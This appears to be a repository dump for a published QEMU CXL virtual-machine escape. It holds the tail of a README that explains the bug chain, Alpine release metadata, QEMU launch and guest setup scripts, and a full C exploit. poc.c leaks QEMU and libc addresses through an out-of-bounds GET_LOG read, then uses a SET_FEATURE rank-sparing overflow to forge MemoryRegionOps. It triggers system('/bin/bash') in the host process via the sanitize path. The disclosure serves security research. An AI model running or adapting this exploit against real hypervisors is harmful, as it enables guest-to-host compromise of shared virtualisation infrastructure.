/sys/bus/pci/devices/0000:35:00.0/resource2
```
If your guest enumerates the device at a different BDF, update the two sysfs
paths in `main()`.
## How It Works
1. **Mailbox access.** The guest enables PCI memory decoding for the CXL device,
maps BAR2, and sends CXL mailbox commands by writing the mailbox payload,
command, and control registers directly.
2. **CEL out-of-bounds read.** `cmd_logs_get_log()` checks the requested CEL
range as if `offset` were a byte offset, but then performs pointer arithmetic
on `cci->cel_log` as a `struct cel_log *`. `poc.c` uses
`GET_LOG_OOB_BASE_OFFSET` to land just past the CEL buffer and read adjacent
QEMU CXL state.
3. **QEMU address discovery.** The out-of-bounds CEL read leaks a CXL mailbox
command handler pointer and the `CXLType3Dev` heap address. The handler
pointer gives the QEMU PIE base for this build.
4. **Rank sparing overflow.** The demo sends `SET_FEATURE / RANK_SPARING` with
a non-zero feature offset and a large payload. The rank sparing case copies
into `ct3d->rank_sparing_wr_attrs + hdr->offset` without bounding the copy to
`sizeof(ct3d->rank_sparing_wr_attrs)`, so the payload continues into later
`CXLType3Dev` fields.
5. **Fake memory dispatch state.** The overflowed payload plants enough fake
`FlatView`, dispatch, section, `MemoryRegion`, and `MemoryRegionOps` state
for the sanitize path to call a controlled `MemoryRegionOps.write` callback.
6. **Callback trigger.** `MEDIA_OPERATIONS / SANITIZE` starts a background
operation. When the sanitize worker reaches `address_space_set()`, it walks
the corrupted dispatch state and invokes the forged write callback. The demo
first uses this to call `memmove()` and leak libc, then repoints the callback
to `system("/bin/bash")`.
## Affected Code Paths
The missing `SET_FEATURE` bounds check affects the PPR paths and the sparing
write-attribute paths:
- `soft_ppr_wr_attrs`
- `hard_ppr_wr_attrs`
- `cacheline_sparing_wr_attrs`
- `row_sparing_wr_attrs`
- `bank_sparing_wr_attrs`
- `rank_sparing_wr_attrs`
`patrol_scrub_wr_attrs` already has the intended style of bounds check.
## Affected Versions
The full QEMUtiny chain uses two bugs.
- **OOB read:** the vulnerable `GET_LOG` path was introduced by
`056172691b` (`hw/cxl/device: Add log commands (8.2.9.4) + CEL`), first
released in QEMU `v7.1.0`.
- **OOB write:** the vulnerable PPR and memory sparing `SET_FEATURE` paths were
introduced by `5e5a86bab8` and `da5cafdc4d`, released in QEMU v11.0.0.
## Credit
Found with V12 by Aaron Esau of the V12 security team. The weaponized PoC (qemu escape) was prepared by [@xia0o0o0o](https://xia0.sh/).

BIN
qemu/bios-256k.bin Normal file

Binary file not shown.

BIN
qemu/efi-e1000.rom Normal file

Binary file not shown.

BIN
qemu/efi-e1000e.rom Normal file

Binary file not shown.

View file

@ -0,0 +1,104 @@
---
-
title: "Mini root filesystem"
desc: |
Minimal root filesystem.
For use in containers
and minimal chroots.
branch: v3.23
arch: x86_64
version: 3.23.4
flavor: alpine-minirootfs
file: alpine-minirootfs-3.23.4-x86_64.tar.gz
iso: alpine-minirootfs-3.23.4-x86_64.tar.gz
date: 2026-04-15
time: 04:51:29
size: 3715799
sha256: 85498865362aa7ebececa0d725a2f2e4db7ac4e4b2850b8df21645afa0d03ee3
sha512: b3ff0f964f014033bf23006d6fcb83d7c5d4842cac958c236f064a256658576b41f3a749d48f82791b5ce981c828302fbce01efc9cb7be97eebb53f6ad5cde64
-
title: "Netboot"
desc: |
Kernel, initramfs and modloop for
netboot.
branch: v3.23
arch: x86_64
version: 3.23.4
flavor: alpine-netboot
file: alpine-netboot-3.23.4-x86_64.tar.gz
iso: alpine-netboot-3.23.4-x86_64.tar.gz
date: 2026-04-15
time: 04:53:04
size: 381806514
sha256: 6929377b64d6bea9820e40b51ba98c1f72e5320206cdd4821cb11f5b1751c58a
sha512: e4dbc3c9afb4c29d353d1929ac5013b3819be512bdc18e60bd8cad83921211347ab053f840e1909f04da8f2ef0dd9614a0dd5321fcba1db6e0c16c623dbc63ec
-
title: "Standard"
desc: |
Alpine as it was intended.
Just enough to get you started.
Network connection is required.
branch: v3.23
arch: x86_64
version: 3.23.4
flavor: alpine-standard
file: alpine-standard-3.23.4-x86_64.iso
iso: alpine-standard-3.23.4-x86_64.iso
date: 2026-04-15
time: 04:54:19
size: 363855872
sha256: cfef39c7954f7c4447bcb321b9f4a1cef834536a321309d2c31275d9f2475a4e
sha512: 0ac2492cf4081d8443da14948bbd0627bfa05c05465fa8a6abb5f445dc549ad58b5c96838235a865bbfc3efc0ab811aa22aa6c6e5c3edc0529aa07975cfe11bc
-
title: "Extended"
desc: |
Most common used packages included.
Suitable for routers and servers.
Runs from RAM.
Includes AMD and Intel microcode updates.
branch: v3.23
arch: x86_64
version: 3.23.4
flavor: alpine-extended
file: alpine-extended-3.23.4-x86_64.iso
iso: alpine-extended-3.23.4-x86_64.iso
date: 2026-04-15
time: 04:55:46
size: 1416314880
sha256: 5ab0ec479e3de6da78f3cb12bdd2395768b1038b0fe3d12d3f57f39a9139015d
sha512: bf636d5eac914b3954871909e3899eb73eead66b19db52f3ae16da7680b4e1d7f688ca23f3a077c122cd22e55953ea92d1464f4ab0f7bad43ddc4a593edaa4cf
-
title: "Virtual"
desc: |
Similar to standard.
Slimmed down kernel.
Optimized for virtual systems.
branch: v3.23
arch: x86_64
version: 3.23.4
flavor: alpine-virt
file: alpine-virt-3.23.4-x86_64.iso
iso: alpine-virt-3.23.4-x86_64.iso
date: 2026-04-15
time: 04:56:11
size: 70254592
sha256: f802033362595ad55de7bce00c500c51a756c94e229768afdcf7e68e49994c48
sha512: 3cb57ce6bdd1abfa7fdb2015da21a0f416297579683eb16518db54870eba1f598f5a8577902e22caeb08468831766f6a6934d57ed490706f9014efbd8ff2971d
-
title: "Xen"
desc: |
Built-in support for Xen Hypervisor.
Includes packages targetted at Xen usage.
Use for Xen Dom0.
branch: v3.23
arch: x86_64
version: 3.23.4
flavor: alpine-xen
file: alpine-xen-3.23.4-x86_64.iso
iso: alpine-xen-3.23.4-x86_64.iso
date: 2026-04-15
time: 04:57:36
size: 1473511424
sha256: 696d228c2b6477d326bcce599dd75c1e8615c6ee70717d89cf6d93d7fc323545
sha512: 5416c6a6c3ff304f4d9c367425ae5246dee032ad354e1a026839a332f252c804dc4f9d099bdf4bc475a692865d43ab617f9b59c5544bdd23db28cc59597c5fd7

Binary file not shown.

BIN
qemu/images/alpine.gz Normal file

Binary file not shown.

BIN
qemu/images/vmlinuz-linux Executable file

Binary file not shown.

BIN
qemu/kvmvapic.bin Normal file

Binary file not shown.

BIN
qemu/linuxboot_dma.bin Normal file

Binary file not shown.

558
qemu/poc.c Normal file
View file

@ -0,0 +1,558 @@
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <limits.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#define PCI_COMMAND 0x04
#define PCI_COMMAND_MEMORY 0x0002
#define PCI_COMMAND_MASTER 0x0004
#define CXL_MAILBOX_REGS 0x88
#define CXL_MBOX_CTRL (CXL_MAILBOX_REGS + 0x04)
#define CXL_MBOX_CMD (CXL_MAILBOX_REGS + 0x08)
#define CXL_MBOX_STS (CXL_MAILBOX_REGS + 0x10)
#define CXL_MBOX_PAYLOAD (CXL_MAILBOX_REGS + 0x20)
#define CXL_BAR2_MAP_SIZE 0x1000
#define CXL_MBOX_SUCCESS 0x00
#define LOGS 0x04
#define GET_LOG 0x01
#define FEATURES 0x05
#define SET_FEATURE 0x02
#define SANITIZE 0x44
#define MEDIA_OPERATIONS 0x02
#define SET_FEATURE_HDR_LEN 0x20
#define SET_FEATURE_INITIATE 0x01
#define RANK_SPARING_SET_VERSION 0x01
#define MEDIA_OP_CLASS_SANITIZE 0x01
#define MEDIA_OP_SAN_SUBC_SANITIZE 0x00
#define CXL_MBOX_BG_STARTED 0x01
#define GET_LOG_OOB_BASE_OFFSET 0x10000
#define FAKE_FLATVIEW_OFF 0x54e
#define FAKE_DISPATCH_OFF 0x58e
#define FAKE_SECTION_OFF 0x5ce
#define FAKE_MEMORY_REGION_OFF 0x62e
#define FAKE_OPS_OFF 0x74e
#define FAKE_BITMAP_OFF 0x7ae
#define FAKE_COMMAND_OFF 0x7b6
#define RIP_SMASH_DATA_LEN 0x7c0
#define CXL_STATIC_VMEM_SIZE 0x10000000
#define CXL_CACHELINE_SIZE 0x40
#define QEMU_PACKED __attribute__((packed))
static int enable_pci_memory_decode(const char *dev_path)
{
char path[PATH_MAX + 32];
int fd;
uint16_t cmd;
ssize_t n;
snprintf(path, sizeof(path), "%s/config", dev_path);
fd = open(path, O_RDWR);
if (fd < 0) {
printf("[-] open(%s) failed: %s\n", path, strerror(errno));
return -1;
}
n = pread(fd, &cmd, sizeof(cmd), PCI_COMMAND);
if (n != (ssize_t)sizeof(cmd)) {
printf("[-] pread PCI_COMMAND failed: %s\n",
n < 0 ? strerror(errno) : "short read");
close(fd);
return -1;
}
cmd |= PCI_COMMAND_MEMORY | PCI_COMMAND_MASTER;
n = pwrite(fd, &cmd, sizeof(cmd), PCI_COMMAND);
if (n != (ssize_t)sizeof(cmd)) {
printf("[-] pwrite PCI_COMMAND failed: %s\n",
n < 0 ? strerror(errno) : "short write");
close(fd);
return -1;
}
close(fd);
return 0;
}
static void mmio_write32(volatile uint8_t *mmio, size_t off, uint32_t value) {
*(volatile uint32_t *)(mmio + off) = value;
}
static void mmio_write64(volatile uint8_t *mmio, size_t off, uint64_t value) {
*(volatile uint64_t *)(mmio + off) = value;
}
static uint64_t mmio_read64(volatile uint8_t *mmio, size_t off) {
return *(volatile uint64_t *)(mmio + off);
}
static void mmio_write_bytes(volatile uint8_t *mmio, size_t off,
const uint8_t *buf, size_t len)
{
for (size_t i = 0; i < len; i++) {
*(volatile uint8_t *)(mmio + off + i) = buf[i];
}
}
static void mmio_read_bytes(volatile uint8_t *mmio, size_t off,
uint8_t *buf, size_t len)
{
for (size_t i = 0; i < len; i++) {
buf[i] = *(volatile uint8_t *)(mmio + off + i);
}
}
static int leak_oob_relative(volatile uint8_t *mmio, uint32_t rel,
void *dst, size_t len)
{
uint8_t tmp[0x800];
uint32_t aligned_rel = rel & ~3U;
uint32_t inner = rel & 3U;
uint32_t req_len = (uint32_t)len + inner;
struct {
uint8_t uuid[16];
uint32_t offset;
uint32_t length;
} QEMU_PACKED get_log = {
.uuid = {
0x0d, 0xa9, 0xc0, 0xb5, 0xbf, 0x41, 0x4b, 0x78,
0x8f, 0x79, 0x96, 0xb1, 0x62, 0x3b, 0x3f, 0x17,
},
.offset = GET_LOG_OOB_BASE_OFFSET + aligned_rel / 4,
.length = req_len,
};
uint64_t cmd_reg;
uint64_t sts_reg;
uint32_t out_len;
uint16_t ret;
mmio_write_bytes(mmio, CXL_MBOX_PAYLOAD, (const uint8_t *)&get_log,
sizeof(get_log));
cmd_reg = GET_LOG | (LOGS << 8) | ((uint64_t)sizeof(get_log) << 16);
mmio_write64(mmio, CXL_MBOX_CMD, cmd_reg);
mmio_write32(mmio, CXL_MBOX_CTRL, 1);
sts_reg = mmio_read64(mmio, CXL_MBOX_STS);
cmd_reg = mmio_read64(mmio, CXL_MBOX_CMD);
ret = (uint16_t)((sts_reg >> 32) & 0xffff);
out_len = (uint32_t)((cmd_reg >> 16) & 0xfffff);
if (ret != CXL_MBOX_SUCCESS) {
printf("[-] failed to get log\n");
return 2;
}
mmio_read_bytes(mmio, CXL_MBOX_PAYLOAD, tmp, out_len);
memcpy(dst, tmp + inner, len);
return 0;
}
static int leak_qemu(volatile uint8_t *mmio, uint64_t *memmove_plt,
uint64_t *libc_start_main_got)
{
uint8_t raw[8];
uint64_t handler;
uint64_t qemu_base;
leak_oob_relative(mmio, 0x80d0, raw, sizeof(raw));
handler = *(uint64_t *)raw;
printf("[+] LOGS_GET_LOG handler: 0x%016" PRIx64 "\n", handler);
qemu_base = handler - 0x047E735; // cmd_logs_get_log
if (qemu_base & 0xfff) {
printf("[-] ??? 0x%016" PRIx64 "\n", qemu_base);
return 1;
}
*memmove_plt = qemu_base + 0x0341BB0;
*libc_start_main_got = qemu_base + 0x01E72FF8;
printf("[+] qemu: 0x%016" PRIx64 "\n", qemu_base);
printf("[+] memmove@plt: 0x%016" PRIx64 "\n", *memmove_plt);
printf("[+] __libc_start_main@got: 0x%016" PRIx64 "\n", *libc_start_main_got);
return 0;
}
static void hexdump_raw(const uint8_t *data, size_t len, size_t disp_base)
{
int eliding = 0;
for (size_t i = 0; i < len; i += 16) {
int all_zero = 1;
for (size_t j = 0; j < 16 && i + j < len; j++)
if (data[i + j]) { all_zero = 0; break; }
if (all_zero) {
if (!eliding)
printf(" \x1b[90m *\x1b[0m\n");
eliding = 1;
continue;
}
eliding = 0;
printf("\x1b[90m %04zx \x1b[0m", disp_base + i);
for (size_t j = 0; j < 16; j++) {
if (j == 8) printf(" ");
if (i + j < len)
printf("%s%02x\x1b[0m ", data[i + j] ? "\x1b[97m" : "\x1b[90m", data[i + j]);
else
printf(" ");
}
printf(" \x1b[90m|\x1b[0m");
for (size_t j = 0; j < 16 && i + j < len; j++) {
uint8_t c = data[i + j];
if (c >= 0x20 && c < 0x7f) printf("%c", c);
else if (c == 0) printf("\x1b[90m.\x1b[0m");
else printf("\x1b[91m*\x1b[0m");
}
printf("\x1b[90m|\x1b[0m\n");
}
if (eliding)
printf(" \x1b[90m *\x1b[0m\n");
}
static int trigger_media_operations_sanitize(volatile uint8_t *mmio,
uint64_t dpa_addr,
uint64_t length)
{
struct {
uint8_t media_operation_class;
uint8_t media_operation_subclass;
uint8_t rsvd[2];
uint32_t dpa_range_count;
struct {
uint64_t starting_dpa;
uint64_t length;
} QEMU_PACKED dpa_range_list[1];
} QEMU_PACKED media_op_in_sanitize_pl = {
.media_operation_class = MEDIA_OP_CLASS_SANITIZE,
.media_operation_subclass = MEDIA_OP_SAN_SUBC_SANITIZE,
.dpa_range_count = 1,
.dpa_range_list = {
{
.starting_dpa = dpa_addr,
.length = length,
},
},
};
uint64_t cmd_reg;
uint64_t sts_reg;
uint16_t ret;
printf("\n\x1b[1;96m >> MEDIA_OPERATIONS / SANITIZE\x1b[0m\n");
printf(" \x1b[90mclass\x1b[0m \x1b[93m0x%02x\x1b[0m \x1b[90msubclass\x1b[0m \x1b[93m0x%02x\x1b[0m\n",
MEDIA_OP_CLASS_SANITIZE, MEDIA_OP_SAN_SUBC_SANITIZE);
printf(" \x1b[90mdpa\x1b[0m \x1b[92m0x%016" PRIx64 "\x1b[0m\n", dpa_addr);
printf(" \x1b[90mlength\x1b[0m \x1b[92m0x%016" PRIx64 "\x1b[0m\n", length);
printf(" \x1b[90mpayload\x1b[0m %zu bytes\n", sizeof(media_op_in_sanitize_pl));
mmio_write_bytes(mmio, CXL_MBOX_PAYLOAD, (const uint8_t *)&media_op_in_sanitize_pl, sizeof(media_op_in_sanitize_pl));
cmd_reg = MEDIA_OPERATIONS | (SANITIZE << 8) | ((uint64_t)sizeof(media_op_in_sanitize_pl) << 16);
printf(" \x1b[90mcmd_reg\x1b[0m \x1b[95m0x%016" PRIx64 "\x1b[0m\n", cmd_reg);
mmio_write64(mmio, CXL_MBOX_CMD, cmd_reg);
mmio_write32(mmio, CXL_MBOX_CTRL, 1);
sts_reg = mmio_read64(mmio, CXL_MBOX_STS);
ret = (uint16_t)((sts_reg >> 32) & 0xffff);
if (ret != CXL_MBOX_BG_STARTED && ret != CXL_MBOX_SUCCESS) {
printf(" \x1b[1;91m<< FAILED\x1b[0m ret=\x1b[91m0x%04x\x1b[0m\n\n", ret);
return 2;
}
printf(" \x1b[1;92m<< OK\x1b[0m ret=\x1b[92m0x%04x\x1b[0m sts=\x1b[90m0x%016" PRIx64 "\x1b[0m\n\n", ret, sts_reg);
return 0;
}
void trigger_set_feature_rank_raw(volatile uint8_t *mmio,
uint16_t feature_offset,
const uint8_t *data,
uint32_t data_len)
{
struct {
uint8_t uuid[16];
uint32_t flags;
uint16_t offset;
uint8_t version;
uint8_t rsvd[9];
uint8_t data[0x800 - SET_FEATURE_HDR_LEN];
} QEMU_PACKED set_feature = {
.uuid = {
0x34, 0xdb, 0xaf, 0xf5, 0x05, 0x52, 0x42, 0x81,
0x8f, 0x76, 0xda, 0x0b, 0x5e, 0x7a, 0x76, 0xa7,
},
.flags = SET_FEATURE_INITIATE,
.offset = feature_offset,
.version = RANK_SPARING_SET_VERSION,
};
uint64_t cmd_reg;
uint32_t in_len = SET_FEATURE_HDR_LEN + data_len;
memcpy(set_feature.data, data, data_len);
printf("\n\x1b[1;96m >> SET_FEATURE / RANK_SPARING\x1b[0m\n");
printf(" \x1b[90muuid\x1b[0m \x1b[95m34dbaf f5-0552-4281-8f76-da0b5e7a76a7\x1b[0m\n");
printf(" \x1b[90moffset\x1b[0m \x1b[93m0x%04x\x1b[0m\n", feature_offset);
printf(" \x1b[90mversion\x1b[0m \x1b[93m0x%02x\x1b[0m\n", RANK_SPARING_SET_VERSION);
printf(" \x1b[90mflags\x1b[0m \x1b[93m0x%08x\x1b[0m (INITIATE)\n", SET_FEATURE_INITIATE);
printf(" \x1b[90mdata_len\x1b[0m \x1b[92m0x%x\x1b[0m\n", data_len);
printf(" \x1b[90min_len\x1b[0m \x1b[92m0x%x\x1b[0m (hdr 0x%x + data)\n", in_len, SET_FEATURE_HDR_LEN);
printf(" \x1b[90mdata:\x1b[0m\n");
hexdump_raw(data, data_len, feature_offset);
mmio_write_bytes(mmio, CXL_MBOX_PAYLOAD,
(const uint8_t *)&set_feature, in_len);
cmd_reg = SET_FEATURE | (FEATURES << 8) | ((uint64_t)in_len << 16);
printf(" \x1b[90mcmd_reg\x1b[0m \x1b[95m0x%016" PRIx64 "\x1b[0m\n", cmd_reg);
mmio_write64(mmio, CXL_MBOX_CMD, cmd_reg);
mmio_write32(mmio, CXL_MBOX_CTRL, 1);
printf(" \x1b[1;92m<< sent\x1b[0m\n\n");
return;
}
static void hexdump_payload(const uint8_t *data, size_t len)
{
static const struct {
size_t start;
size_t end;
const char *col;
const char *name;
} regions[] = {
{ 0x000, 0x2e, "\x1b[90m", "zero-init" },
{ 0x2e, 0xee, "\x1b[37m", "mr-seeds" },
{ 0xee, FAKE_FLATVIEW_OFF, "\x1b[37m", "region0" },
{ FAKE_FLATVIEW_OFF, FAKE_DISPATCH_OFF, "\x1b[92m", "FlatView" },
{ FAKE_DISPATCH_OFF, FAKE_SECTION_OFF, "\x1b[96m", "Dispatch" },
{ FAKE_SECTION_OFF, FAKE_MEMORY_REGION_OFF, "\x1b[93m", "Section" },
{ FAKE_MEMORY_REGION_OFF, FAKE_OPS_OFF, "\x1b[95m", "MemRegion" },
{ FAKE_OPS_OFF, FAKE_BITMAP_OFF, "\x1b[94m", "Ops" },
{ FAKE_BITMAP_OFF, FAKE_COMMAND_OFF, "\x1b[91m", "Bitmap" },
{ FAKE_COMMAND_OFF, RIP_SMASH_DATA_LEN, "\x1b[97m", "Command" },
};
const int nregions = (int)(sizeof(regions) / sizeof(regions[0]));
int prev_region = -1;
int in_elision = 0;
printf("\n\x1b[1m payload hexdump (%zu bytes)\x1b[0m\n ", len);
for (int r = 0; r < nregions; r++)
printf("%s%-11s\x1b[0m ", regions[r].col, regions[r].name);
printf("\n\n");
for (size_t i = 0; i < len; i += 16) {
int cur = 0;
for (int r = 0; r < nregions; r++) {
if (i >= regions[r].start && i < regions[r].end) { cur = r; break; }
}
if (cur != prev_region) {
if (in_elision)
printf(" \x1b[90m *\x1b[0m\n");
in_elision = 0;
printf(" %s+-- %-11s @ +0x%03zx\x1b[0m\n",
regions[cur].col, regions[cur].name, regions[cur].start);
prev_region = cur;
}
int all_zero = 1;
for (size_t j = 0; j < 16 && i + j < len; j++)
if (data[i + j]) { all_zero = 0; break; }
if (all_zero) {
if (!in_elision)
printf(" \x1b[90m *\x1b[0m\n");
in_elision = 1;
continue;
}
in_elision = 0;
printf("\x1b[90m %04zx \x1b[0m ", i);
for (size_t j = 0; j < 16; j++) {
if (j == 8) printf(" ");
if (i + j >= len) { printf(" "); continue; }
uint8_t b = data[i + j];
size_t pos = i + j;
const char *col = "\x1b[90m";
for (int r = 0; r < nregions; r++) {
if (pos >= regions[r].start && pos < regions[r].end) {
col = b ? regions[r].col : "\x1b[90m";
break;
}
}
printf("%s%02x\x1b[0m ", col, b);
}
printf(" \x1b[90m|\x1b[0m");
for (size_t j = 0; j < 16 && i + j < len; j++) {
uint8_t c = data[i + j];
if (c >= 0x20 && c < 0x7f) printf("%c", c);
else if (c == 0) printf("\x1b[90m.\x1b[0m");
else printf("\x1b[91m*\x1b[0m");
}
printf("\x1b[90m|\x1b[0m\n");
}
if (in_elision)
printf(" \x1b[90m *\x1b[0m\n");
printf("\n");
}
static void forge_callback_payload(uint8_t *data, uint64_t rank_host,
uint64_t fn, uint64_t opaque,
uint64_t mr_addr, const char *arg)
{
uint64_t fake_flatview = rank_host + FAKE_FLATVIEW_OFF;
uint64_t fake_dispatch = rank_host + FAKE_DISPATCH_OFF;
uint64_t fake_section = rank_host + FAKE_SECTION_OFF;
uint64_t fake_mr = rank_host + FAKE_MEMORY_REGION_OFF;
uint64_t fake_ops = rank_host + FAKE_OPS_OFF;
uint64_t fake_bitmap = rank_host + FAKE_BITMAP_OFF;
uint64_t fake_command = rank_host + FAKE_COMMAND_OFF;
uint8_t *region0 = data + 0xee;
const uint64_t section_size = CXL_CACHELINE_SIZE;
memset(data, 0, RIP_SMASH_DATA_LEN);
*(uint64_t *)(data + 0x2e) = fake_flatview;
*(uint64_t *)(data + 0xb6) = CXL_CACHELINE_SIZE;
data[0xea] = 1;
*(uint64_t *)(region0 + 0) = CXL_STATIC_VMEM_SIZE;
*(uint64_t *)(region0 + 8) = CXL_CACHELINE_SIZE;
*(uint64_t *)(region0 + 16) = CXL_CACHELINE_SIZE;
*(uint64_t *)(region0 + 24) = CXL_CACHELINE_SIZE;
*(uint64_t *)(region0 + 40) = fake_bitmap;
region0[0x6c] = 1;
*(uint32_t *)(data + FAKE_FLATVIEW_OFF + 16) = 1;
*(uint64_t *)(data + FAKE_FLATVIEW_OFF + 40) = fake_dispatch;
*(uint64_t *)(data + FAKE_FLATVIEW_OFF + 48) = fake_mr;
*(uint64_t *)(data + FAKE_DISPATCH_OFF) = fake_section;
*(uint64_t *)(data + FAKE_SECTION_OFF) = section_size;
*(uint64_t *)(data + FAKE_SECTION_OFF + 8) = 0;
*(uint64_t *)(data + FAKE_SECTION_OFF + 16) = fake_mr;
*(uint64_t *)(data + FAKE_SECTION_OFF + 24) = fake_flatview;
*(uint64_t *)(data + FAKE_SECTION_OFF + 32) = mr_addr;
*(uint64_t *)(data + FAKE_SECTION_OFF + 40) = CXL_STATIC_VMEM_SIZE;
*(uint64_t *)(data + FAKE_MEMORY_REGION_OFF + 80) = fake_ops;
if (arg) {
snprintf((char *)data + FAKE_COMMAND_OFF,
RIP_SMASH_DATA_LEN - FAKE_COMMAND_OFF, "%s", arg);
opaque = fake_command;
}
*(uint64_t *)(data + FAKE_MEMORY_REGION_OFF + 88) = opaque;
*(uint64_t *)(data + FAKE_MEMORY_REGION_OFF + 112) = section_size;
data[FAKE_MEMORY_REGION_OFF + 152] = 1;
data[FAKE_MEMORY_REGION_OFF + 154] = 1;
*(uint64_t *)(data + FAKE_OPS_OFF + 8) = fn;
*(uint32_t *)(data + FAKE_OPS_OFF + 40) = 1;
*(uint32_t *)(data + FAKE_OPS_OFF + 44) = 1;
data[FAKE_OPS_OFF + 48] = 1;
*(uint32_t *)(data + FAKE_OPS_OFF + 64) = 1;
*(uint32_t *)(data + FAKE_OPS_OFF + 68) = 1;
data[FAKE_OPS_OFF + 72] = 1;
*(uint64_t *)(data + FAKE_BITMAP_OFF) = UINT64_MAX;
hexdump_payload(data, RIP_SMASH_DATA_LEN);
}
void fake_write_call(volatile uint8_t *mmio, uint64_t rank_host,
uint64_t fn, uint64_t opaque, uint64_t mr_addr,
const char *arg)
{
uint8_t data[RIP_SMASH_DATA_LEN];
printf("[*] MemoryRegionOps.write=0x%016" PRIx64 " opaque=0x%016" PRIx64 " mr_addr=0x%016" PRIx64 "\n", fn, opaque, mr_addr);
forge_callback_payload(data, rank_host, fn, opaque, mr_addr, arg);
trigger_set_feature_rank_raw(mmio, 0x2e, data + 0x2e, sizeof(data) - 0x2e);
trigger_media_operations_sanitize(mmio, CXL_STATIC_VMEM_SIZE, CXL_CACHELINE_SIZE);
printf("[*] waiting.");
for (int i = 0; i < 8; i++) {
sleep(1); printf(".");
}
printf("\n");
printf("[*] ok here we go\n");
return;
}
static int leak_more(volatile uint8_t *mmio, uint64_t ct3d_host,
uint64_t rank_host, uint64_t memmove_plt,
uint64_t libc_start_main_got, uint64_t *_system)
{
uint64_t leak_slot = ct3d_host + 0x5400 + 0x240000 + 0x100;
uint64_t leak_src = libc_start_main_got - (CXL_CACHELINE_SIZE - 1);
uint8_t raw[8];
uint64_t libc_start_main;
uint64_t libcbase;
fake_write_call(mmio, rank_host, memmove_plt, leak_slot, leak_src, NULL);
leak_oob_relative(mmio, 0x100, raw, sizeof(raw));
libc_start_main = *(uint64_t *)raw;
printf("[+] __libc_start_main: 0x%016" PRIx64 "\n", libc_start_main);
libcbase = libc_start_main - 0x2A200;
*_system = libcbase + 0x058750;
printf("[+] libcbase: 0x%016" PRIx64 "\n", libcbase);
printf("[+] system: 0x%016" PRIx64 "\n", *_system);
return 0;
}
int main() {
volatile uint8_t *mmio;
uint64_t ct3d_host;
uint64_t rank_host;
uint64_t memmove_plt;
uint64_t libc_start_main_got;
uint64_t _system;
int fd;
setbuf(stdout, NULL);
if (enable_pci_memory_decode("/sys/bus/pci/devices/0000:35:00.0") < 0) {
return 1;
}
fd = open("/sys/bus/pci/devices/0000:35:00.0/resource2", O_RDWR | O_SYNC);
if (fd < 0) {
printf("[-] failed to open. \n");
return 1;
}
mmio = mmap(NULL, CXL_BAR2_MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (mmio == MAP_FAILED) {
return 1;
}
leak_qemu(mmio, &memmove_plt, &libc_start_main_got);
leak_oob_relative(mmio, 0x90, &ct3d_host, 8);
rank_host = ct3d_host + 0x6c5762;
leak_more(mmio, ct3d_host, rank_host, memmove_plt, libc_start_main_got, &_system);
printf("[*] outside the Wall Maria...\n");
fake_write_call(mmio, rank_host, _system, 0, 0, "/bin/bash");
return 0;
}

BIN
qemu/qemu-system-x86_64 Executable file

Binary file not shown.

41
qemu/run_qemu_shell.sh Executable file
View file

@ -0,0 +1,41 @@
#!/bin/sh
set -eu
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
TMPDIR=${TMPDIR:-"$DIR/tmp"}
export TMPDIR
ROOTFS="$DIR/images/alpine"
ROOTFS_GZ="$ROOTFS.gz"
mkdir -p "$TMPDIR"
if [ ! -e "$ROOTFS" ]; then
if [ ! -f "$ROOTFS_GZ" ]; then
echo "missing rootfs: $ROOTFS_GZ" >&2
exit 1
fi
ROOTFS_TMP="$ROOTFS.$$"
trap 'rm -f "$ROOTFS_TMP"' EXIT HUP INT TERM
gzip -dc "$ROOTFS_GZ" > "$ROOTFS_TMP"
mv "$ROOTFS_TMP" "$ROOTFS"
trap - EXIT HUP INT TERM
fi
exec "$DIR/qemu-system-x86_64" \
-accel tcg \
-machine q35,cxl=on \
-m 512M,maxmem=2G,slots=4 \
-smp 1 \
-nographic -no-reboot -snapshot \
-kernel "$DIR/images/vmlinuz-linux" \
-append "root=/dev/vda rw console=ttyS0,115200 earlycon=uart8250,io,0x3f8,115200 loglevel=8 ignore_loglevel printk.time=1 devtmpfs.mount=1 pci=realloc" \
-drive file="$ROOTFS",file.locking=off,if=none,format=raw,id=rootfs \
-device virtio-blk-pci,drive=rootfs \
-device pxb-cxl,id=cxl.0,bus=pcie.0,bus_nr=52 \
-device cxl-rp,id=rp0,bus=cxl.0,chassis=0,slot=0 \
-object memory-backend-ram,id=cxl-mem0,size=256M \
-object memory-backend-ram,id=dc-mem0,size=256M \
-device cxl-type3,bus=rp0,volatile-memdev=cxl-mem0,volatile-dc-memdev=dc-mem0,num-dc-regions=1,id=mem0 \
-M cxl-fmw.0.targets.0=cxl.0,cxl-fmw.0.size=512M

55
qemu/setup_guest.sh Executable file
View file

@ -0,0 +1,55 @@
#!/bin/sh
set -eux
mkdir -p images
mkdir -p poc
cp /boot/vmlinuz-linux images/vmlinuz-linux
chmod 0755 images/vmlinuz-linux
curl -L --fail --show-error \
-o images/alpine-latest-releases.yaml \
https://dl-cdn.alpinelinux.org/alpine/v3.23/releases/x86_64/latest-releases.yaml
curl -L --fail --show-error \
-o images/alpine-minirootfs-3.23.4-x86_64.tar.gz \
https://dl-cdn.alpinelinux.org/alpine/v3.23/releases/x86_64/alpine-minirootfs-3.23.4-x86_64.tar.gz
rm -rf alpine_root_fs.tmp
mkdir -p alpine_root_fs.tmp
tar -xzf images/alpine-minirootfs-3.23.4-x86_64.tar.gz -C alpine_root_fs.tmp
printf '%s\n' \
https://dl-cdn.alpinelinux.org/alpine/v3.23/main \
https://dl-cdn.alpinelinux.org/alpine/v3.23/community \
> alpine_root_fs.tmp/etc/apk/repositories
rm -f alpine_root_fs.tmp/sbin/init
cat > alpine_root_fs.tmp/sbin/init <<'EOF'
#!/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
export PATH
mount -t devtmpfs devtmpfs /dev 2>/dev/null || true
mount -t proc proc /proc 2>/dev/null || true
mount -t sysfs sysfs /sys 2>/dev/null || true
exec /bin/sh </dev/console >/dev/console 2>&1
EOF
chmod 0755 alpine_root_fs.tmp/sbin/init
gcc -static -O2 -Wall -Wextra -o exp/exp exp/exp.c
cp exp/exp alpine_root_fs.tmp/exp
chmod 0755 alpine_root_fs.tmp/exp
rm -f images/alpine.tmp
truncate -s 128M images/alpine.tmp
